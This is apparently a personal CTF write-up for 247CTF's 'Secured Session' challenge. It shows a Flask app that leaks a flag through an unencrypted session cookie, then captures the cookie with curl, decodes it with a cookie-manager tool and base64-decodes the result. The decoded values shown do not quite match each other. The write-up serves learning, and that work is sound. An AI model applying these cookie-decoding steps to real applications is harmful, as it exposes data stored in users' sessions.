Secured Session (web)

PUBLISHED ON 24/02/2020 — EDITED ON 01/04/2020 — 247CTF, INFOSEC

Intro

This is my write-up of a Web challenge Secured Session on the CTF site 247CTF.com

Instructions

If you can guess our random secret key, we will tell you the flag securely stored in your session.

Howto

The site provides you with some python code:

import os
from flask import Flask, request, session
from flag import flag

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

def secret_key_to_int(s):
    try:
        secret_key = int(s)
    except ValueError:
        secret_key = 0
    return secret_key

@app.route("/flag")
def index():
    secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
    session['flag'] = flag
    if secret_key == app.config['SECRET_KEY']:
      return session['flag']
    else:
      return "Incorrect secret key!"

@app.route('/')
def source():
    return "
%s
" % open(__file__).read()

if __name__ == "__main__":
    app.run()

We can see right away that we are dealing with Flask web framework.

A quick internet search reveals that SECRET_KEY is the key to solving the CTF.

https://github.com/shiltemann/CTF-writeups-public/blob/master/PicoCTF_2018/writeup.md#web-exploitation-600-flaskcards-skeleton-key

https://github.com/noraj/flask-session-cookie-manager

First we need to capture the cookies:

curl -v https://32b628313bd19937.247ctf.com/flag\?secret_key=MjQ3Q1RGe2RhODA3OTVmOGE1Y2FiMmUwMzdkNzM4NTgwN2I5YTkxfQ
*   Trying 144.76.74.118:443...
* TCP_NODELAY set
* Connected to 32b628313bd19937.247ctf.com (144.76.74.118) port 443 (#0)
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /opt/local/share/curl/curl-ca-bundle.crt
  CApath: none
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: CN=*.247ctf.com
*  start date: Jan 22 00:51:10 2020 GMT
*  expire date: Apr 21 00:51:10 2020 GMT
*  subjectAltName: host "32b628313bd19937.247ctf.com" matched cert's "*.247ctf.com"
*  issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3
*  SSL certificate verify ok.
> GET /flag?secret_key=MjQ3Q1RGe2RhODA3OTVmOGE1Y2FiMmUwMzdkNzM4NTgwN2I5YTkxfQ HTTP/1.1
> Host: 32b628313bd19937.247ctf.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 24 Feb 2020 15:21:11 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 21
< Connection: keep-alive
< Vary: Cookie
< Set-Cookie: session=COOKIE_SESSION_STRING; HttpOnly; Path=/
<
* Connection #0 to host 32b628313bd19937.247ctf.com left intact
Incorrect secret key!%

Then decode the captured cookie:

$ python3 flask_session_cookie_manager3.py decode -c 'COOKIE_SESSION_STRING'
b'{"flag":{" b":"MjQ2Q3RGe2RhODA5OTVmOGE4Y8FiMmUwMzdkNzM4NTgwN2I5YTkxfQ=="}}'

At last, base64 decode the decoded cookie.

$ echo "MjQ3Q1RGe2RhODA3OTVmOGE1Y2FiMmUwMzdkNzM4NTgwN2I5YTkxfQ==" | base64 -D
247CTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

See Also